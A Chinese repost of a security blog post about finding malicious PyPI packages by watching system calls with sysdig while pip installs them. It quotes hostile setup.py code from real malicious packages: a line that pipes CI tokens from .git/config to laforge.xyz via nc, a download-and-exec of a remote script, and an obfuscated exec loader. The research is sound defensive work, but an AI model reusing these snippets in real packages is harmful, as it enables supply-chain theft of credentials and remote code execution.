查看原文
其他

有人在代码里下毒!慎用 pip install 命令

Jordan Python中文社区 2022-12-04

大约一年前,Python软件基金会(Python Software Foundation)发了一个需求咨询帖子(RFI,https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240),主要问题是来讨论我们如何检测上传到PyPI的恶意第三方软件包。无论是被接管了废弃的软件包,对流行的库进行Typosquatting攻击钓鱼劫持,还是对第三方库进行撞库攻击,很明显,这都是一个值得思考的问题,几乎影响到每个开发者。使用pip install安装软件包时,大多数人不清楚自己所需的python模块在哪个软件包中,有时候甚至是模糊搜索安装,这就给恶意利用的人提供了机会。
事实上,像PyPI这样的软件包管理器是几乎每个公司都依赖的关键基础架构。针对这个问题的严重性我们可以在这个主题上谈上几天几夜,不过看了下面的这张图你就明白了。

我想对此做进一步的探讨,因此在本文中,我将逐步介绍如何安装和分析PyPI中的软件包并寻找恶意攻击活动。
如何查找恶意包
为了在安装过程中运行任意命令,作者通常将代码添加到其程序包中的setup.py文件中。您可以在此github存储库(https://github.com/rsc-dev/pypi_malware/tree/master/malware)中看到一些示例。
总的来说,您可以用以下两种方式来查找潜在的恶意依赖包:查看代码中的不良内容(静态分析),或者可以安装它们以查看会发生什么情况(动态分析)。
虽然静态分析非常有趣(我曾在Node.js 的包管理工具npm上手动使用grep命令搜寻到了恶意软件包,``https://duo.com/decipher/hunting-malicious-npm-packages`),但在这篇文章中,我将重点介绍动态分析。毕竟我认为它会有效果,因为你正在查看实际发生的事情,而不是仅仅寻找未来可能发生的事。
那我们到底在寻找什么呢?
如何把握重点
通常,任何重要操作发生都是由内核完成的,普通程序(如pip)通过内核执行重要操作是通过使用syscall来完成的。使用syscall可以完成打开文件、建立网络连接和执行命令的所有操作!
您可以从Julia Evans的漫画中了解syscall的更多内容:

这意味着,如果我们可以在安装Python软件包期间监视系统调用(syscalls),就可以查看是否发生了任何可疑事件。
监测系统调用(syscalls)这个方法并不是我想到的。自2017年以来,亚当·鲍德温(Adam Baldwin)等人就一直在谈论这一问题。佐治亚理工学院的研究人员发表了一篇出色的论文(https://arxiv.org/pdf/2002.01139.pdf),采用了同样的方法。老实说,大多数博客文章只是试图重现他们的想法。
现在,我们想监测系统调用(syscalls),那么到底该怎么做呢?
使用Sysdig监测Syscall
有许多旨在让您监测系统调用的工具,对于本项目,我使用sysdig,因为它既提供结构化输出,又提供了一些非常好的过滤功能。
为了使该工作正常进行,在启动安装该软件包的Docker容器时,我还启动了一个sysdig进程,该进程仅监测该容器中的事件。我也过滤掉了要从pypi.orgfiles.pythonhosted.com进行的网络读取/写入,因为我不想被与软件包下载相关的事件写满日志。
通过捕获系统调用的方法,我不得不解决另一个问题:如何获取所有PyPI软件包的列表。
获取Python包
对我们来说幸运的是,PyPI拥有一个称为Simple API(https://www.python.org/dev/peps/pep-0503/)的API,可以将其视为“一个非常大的HTML页面,其中包含指向每个包的链接”。它简单,干净而且比我可能会写的任何HTML都要好。
我们可以抓取此页面并使用pup解析所有链接,从而为我们提供约268,000个软件包:
> curl https://pypi.org/simple/ | pup'a text {}'> pypi_full.txt

> wc -l pypi_full.txt
  268038 pypi_full.txt
对于本实验,我只关心每个软件包的最新版本。较旧的版本中可能埋藏着恶意版本的软件包,但AWS不会自己买单(笑)。
我最终实现了一个看起来像这样的管道:

简而言之,我们将每个软件包名称发送到一组EC2实例(我希望将来使用AWS Fargate无服务器化容器解决方案或其他东西,但我现在也不知道Fargate怎么用,所以……),该程序会从PyPI中获取有关软件包的一些元数据,然后在一系列容器pip install安装软件包同时启动sysdig,以监测syscall和网络流量。然后,所有数据都被运送到S3以供未来使用。
这个过程如下所示:

结果
过程一旦完成,我将在一个S3存储库中获取几TB的数据,覆盖大约245,000个软件包。尽管有的软件包没有发布版本,有的软件包具有各种bug,但是这似乎也是一个很好的样本。
现在开始有趣的部分:分析!(其实是一系列枯燥的grep操作)
我合并了元数据和输出,提供了一系列如下所示的JSON文件:
{
    "metadata": {},
    "output": {
        "dns": [],         // Any DNS requests made
        "files": [],       // All file access operations
        "connections": [], // TCP connections established
        "commands": [],    // Any commands executed
    }
}
然后,我编写了一系列脚本来开始汇总数据,以试图区别是良性程序包和恶意程序包。让我们深入研究一些结果。
网络请求
在安装过程中,软件包需要建立网络连接的原因有很多。他们可能需要下载合法的二进制组件或其他资源,它们可能是一种分析形式,或者可能正试图从系统中窃取数据或凭证。
结果发现,有460个软件包将网络连接到109个特定主机。就像上面论文提到的一样,其中很多是程序包共享建立网络连接依赖关系的结果。可以通过映射依赖关系将其过滤掉,但是我在这里还没有做过。
这里(https://gist.github.com/jordan-wright/c8b273372368ee639dec46b08a93bce1)是安装过程中看到的DNS请求明细。
执行命令
像网络连接一样,在安装过程中,软件包有合理的理由运行系统命令。可以是编译二进制文件,或者设置正确的运行环境等。
查看我们的样本,发现60,725个软件包在安装过程中正在执行命令。就像网络连接一样,其中许多是依赖项(运行命令的程序包)的结果。
一些有趣的第三方包
深入研究结果后,发现大多数网络连接和命令似乎都是合乎常理预期的。但是,我想举几个奇怪的例子作为案例研究,以说明这种类型的分析多有用。
i-am-malicious
一个名为i-am-malicious的软件包似乎是恶意软件包的证明。以下是一些有趣的细节,使我们认为该程序包值得研究(如果名称不够的话......):
{
  "dns": [{
          "name""gist.githubusercontent.com",
          "addresses": [
            "199.232.64.133"
          ]
    }]
  ],
  "files": [
    ...
    {
      "filename""/tmp/malicious.py",
      "flag""O_RDONLY|O_CLOEXEC"
    },
    ...
    {
      "filename""/tmp/malicious-was-here",
      "flag""O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
    },
    ...
  ],
  "commands": [
    "python /tmp/malicious.py"
  ]
}
我们看到与gist.github.com的连接,正在执行一个Python文件,并在此处创建了一个名为/ tmp / malicious-was-here的文件。当然,这就是setup.py中发生的事情:
from urllib.request import urlopen

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py""wb"as fp:
    fp.write(handler.read())

import subprocess

subprocess.call(["python""/tmp/malicious.py"])
malicious.py程序只是向/ tmp / malicious-was-here添加了““I was here”类型的消息,表明这确实是一个证明。
maliciouspackage
另一个自称为"恶意程序包"的maliciouspackage更邪恶。这是相关的输出:
{
  "dns": [{
      "name""laforge.xyz",
      "addresses": [
        "34.82.112.63"
      ]
  }],
  "files": [
    {
      "filename""/app/.git/config",
      "flag""O_RDONLY"
    },
  ],
  "commands": [
    "sh -c apt install -y socat",
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
    "grep ci-token /app/.git/config",
    "nc laforge.xyz 5566"
  ]
}
和之前一样,我们的输出使我们对发生的事情有了一个不错的了解。在这种情况下,程序包似乎从.git / config文件中提取令牌并将其上传到laforge.xyz。浏览setup.py,我们发现确实是这样:
...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
easyIoCtl
easyIoCtl是一个有趣的软件包。它声称可以“摆脱无聊的IO操作”,但我们看到以下命令正在执行:
[
  "sh -c touch /tmp/testing123",
  "touch /tmp/testing123"
]
可疑,但可能不是有意为之。但是这是一个完美的示例,显示了监测系统调用的功能。这是项目的setup.py中的相关代码:
class MyInstall():
    def run(self):
        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
        control_flow_guard_init = ""
        for controL_flow_code in control_flow_guard_mappers:
            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
        exec(control_flow_guard_init)

此代码片段混淆不清,很难说出是怎么回事,传统的静态分析可能会抓住对exec的调用,但仅此而已。
要查看其作用,我们可以用打印替换exec,结果是:
import os;os.system('touch /tmp/testing123')
这正是我们记录的命令,表明即使代码混淆也不会影响我们的结果,因为我们正在对系统调用进行监视。
当我们发现恶意软件包时会发生什么?
值得简要讨论一下,当我们发现恶意程序包时该怎么办。首先要做的是提醒PyPI志愿者,以便他们下架这个包。可以通过联系security@python.org来完成。
之后,我们可以使用BigQuery上的PyPI公开数据集,查看该包的下载次数。
这是一个示例查询,用于查找在过去30天内安装了maliciouspackage的次数:
#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
-- Only query the last 30 days of history
AND DATE(timestamp)
BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
AND CURRENT_DATE()
运行此查询命令,结果表明它已被下载400次以上。

未来展望
第一步只是初步了解了整个PyPI的概况。查看数据,我发现没有任何程序包进行了严重有害的活动,而且名称中的某处也没有“恶意”。这很好!(其实并非如此,如果你在 2017-05-24 到 2017-05-31 这段时间内执行过 pip install smb或者 pip download smb, 那么你的个人信息可能已经泄露)但是我总是有可能错过某些事情,或者将来会发生。如果您有兴趣挖掘数据,可以在这里(https://drive.google.com/file/d/1ukZK5-JEQrmo_t15aq_4z-jlkjNqbec8/view?usp=sharing)找到。
展望未来,我正在设置一个Lambda函数,以使用PyPI的RSS feed功能获取最新的软件包更新。每个更新的程序包都将经过相同的处理,如果检测到可疑活动,则会发送警报。
我仍然不喜欢仅通过pip install命令就可以让程序在用户系统上执行任意操作。我知道大多数程序包都是善意的,但它带来了风险。希望越来越多地监测各种第三方程序包管理器,并识别出恶意活动的迹象。
这不是PyPI独有的。之后,我希望对RubyGems,npm和其他程序包管理库进行相同的分析,就像我之前提到的研究人员一样。同时,您可以在此处(https://github.com/jordan-wright/ossmalware)找到用于运行实验的所有代码。

往期推荐



5分钟完全掌握PyPy


5 分钟掌握 Python 中常见的配置文件


OpenCV人工智能图像识别技术实操案例


点击下方阅读原文加入社区会员



点赞鼓励一下

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存